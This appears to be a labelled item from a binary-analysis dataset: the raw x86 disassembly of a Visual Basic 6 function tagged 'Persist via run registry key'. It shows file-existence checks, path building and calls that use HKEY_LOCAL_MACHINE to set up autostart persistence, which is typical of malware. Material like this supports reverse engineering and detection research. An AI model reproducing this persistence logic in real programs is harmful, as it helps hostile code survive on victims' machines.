Function at 0x406620
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401626
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x4013c8
xor edi, edi
mov edx, 0x403610
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], edi
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x24]
push eax
call fcn.00407520
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov si, ax
neg si
sbb esi, esi
lea ecx, [ebp - 0x24]
inc esi
neg esi
call ebx
cmp si, di
je 0x4066ba
mov edx, 0x403610
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x24]
push ecx
call fcn.00407010
lea ecx, [ebp - 0x24]
call ebx
mov edx, dword [0x40904c]
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
push edx
push 0x403584
call esi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 0x50], 8
call dword [sym.imp.MSVBVM60.DLL_rtcDir]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
push eax
push 0x402f74
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x24]
neg eax
neg eax
mov dword [ebp - 0x58], eax
call ebx
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
cmp word [ebp - 0x58], 0
je 0x406860
mov ecx, dword [0x409034]
push ecx
push 0x403ec4
call esi
lea edx, [ebp - 0x50]
push 0
push edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
call dword [sym.imp.MSVBVM60.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
push eax
push 0x402f74
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x24]
neg eax
neg eax
mov dword [ebp - 0x58], eax
call ebx
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
cmp word [ebp - 0x58], 0
je 0x406840
push 0
push 0
push 0x403ef4
push 0x403f08
call esi
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
push eax
mov eax, dword [0x40904c]
push eax
call esi
mov edx, eax
lea ecx, [ebp - 0x28]
call edi
push eax
push 0x403584
call esi
mov edx, eax
lea ecx, [ebp - 0x2c]
call edi
push eax
push 0x403f08
call esi
mov edx, eax
lea ecx, [ebp - 0x3c]
call edi
lea ecx, [ebp - 0x40]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
mov edx, dword [0x409034]
push eax
push edx
push 0x403ec4
call esi
mov edx, eax
lea ecx, [ebp - 0x34]
call edi
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
lea ecx, [ebp - 0x30]
push 0x403ee4
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
lea edx, [ebp - 0x20]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaI4Var]
push eax
call fcn.00402e98
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x3c]
push eax
lea edx, [ebp - 0x38]
push ecx
lea eax, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x30]
push eax
lea edx, [ebp - 0x2c]
push ecx
lea eax, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x24]
push eax
push ecx
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x24
jmp 0x406860
mov edx, dword [0x40904c]
push edx
push 0x403584
call esi
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
push eax
call fcn.00407990
lea ecx, [ebp - 0x24]
call ebx
mov edx, 0x404108
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x50]
push eax
push ecx
call fcn.00405af0
lea ecx, [ebp - 0x24]
call ebx
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov edx, 0x4042c4
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x54]
push edx
push eax
mov dword [ebp - 0x54], 0x80000002
call fcn.00408100
lea ecx, [ebp - 0x24]
call ebx
mov edx, 0x4042f0
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x50]
push ecx
push edx
call fcn.00405af0
lea ecx, [ebp - 0x24]
call ebx
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov edx, 0x4042c4
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x54]
push eax
push ecx
mov dword [ebp - 0x54], 0x80000002
call fcn.00408100
lea ecx, [ebp - 0x24]
call ebx
mov edx, 0x40422c
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x404398
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x24]
push edx
push eax
call fcn.004059f0
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x24]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
push 0x3e8
call fcn.00402a50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [0x40904c]
push eax
push 0x403584
call esi
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
lea ecx, [ebp - 0x24]
push ecx
call fcn.00406bf0
lea ecx, [ebp - 0x24]
call ebx
mov edx, dword [0x40904c]
push edx
push 0x404420
call esi
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00406bf0
lea ecx, [ebp - 0x24]
call ebx
mov ecx, dword [0x40904c]
push ecx
push 0x404444
call esi
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
lea edx, [ebp - 0x24]
push edx
call fcn.00406bf0
lea ecx, [ebp - 0x24]
call ebx
push 0x40904c
call fcn.00406b10
call fcn.00406a20
push 0x406a09
jmp 0x4069ff
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
ret